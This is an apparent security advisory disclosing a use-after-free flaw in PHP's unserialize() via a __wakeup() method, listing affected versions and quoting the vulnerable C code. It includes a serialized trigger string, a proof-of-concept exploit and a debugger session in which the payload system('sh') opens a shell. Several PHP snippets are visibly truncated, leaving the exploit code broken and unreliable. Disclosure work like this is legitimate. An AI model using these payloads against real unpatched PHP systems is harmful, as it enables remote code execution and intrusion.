#Use After Free Vulnerability in unserialize() Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.2.3 - Release Date: 2015.3.20 > A use-after-free vulnerability was discovered in unserialize() with a specially defined object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code. Affected Versions ------------ Affected is PHP 5.6 < 5.6.7 Affected is PHP 5.5 < 5.5.23 Affected is PHP 5.4 < 5.4.39 Affected is PHP 5 <= 5.3.29 Affected is PHP 4 <= 4.4.9 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ ``` static inline int object_common2(UNSERIALIZE_PARAMETER, zend_long elements) { zval retval; zval fname; if (Z_TYPE_P(rval) != IS_OBJECT) { return 0; } //??? TODO: resize before if (!process_nested_data(UNSERIALIZE_PASSTHRU, Z_OBJPROP_P(rval), elements, 1)) { return 0; } ZVAL_DEREF(rval); if (Z_OBJCE_P(rval) != PHP_IC_ENTRY && zend_hash_str_exists(&Z_OBJCE_P(rval)->function_table, "__wakeup", sizeof("__wakeup")-1)) { ZVAL_STRINGL(&fname, "__wakeup", sizeof("__wakeup") - 1); BG(serialize_lock)++; call_user_function_ex(CG(function_table), rval, &fname, &retval, 0, 0, 1, NULL); ``` A specially defined __wakeup() magic method lead to various problems. The simple code: ``` var); // $this->var = 'ryat'; } } $data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;R:4;}'); ?> ``` Object properties assignment or destroy operation leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14. ``` >= 8; } return $out; } class evilClass { public $var; function __wakeup() { unset($this->var); // $this->var = 'ryat'; } } ?> ``` Test the PoC on the command line, then any PHP code can be executed: ``` $ lldb php (lldb) target create "php" Current executable set to 'php' (x86_64). (lldb) run uafpoc.php assert "system\('sh'\)==exit\(\)" Process 13472 launched: '/usr/bin/php' (x86_64) sh: no job control in this shell sh-3.2$ php -v PHP 5.5.14 (cli) (built: Sep 9 2014 19:09:25) Copyright (c) 1997-2014 The PHP Group Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies sh-3.2$ exit exit Process 13472 exited with status = 0 (0x00000000) (lldb) ```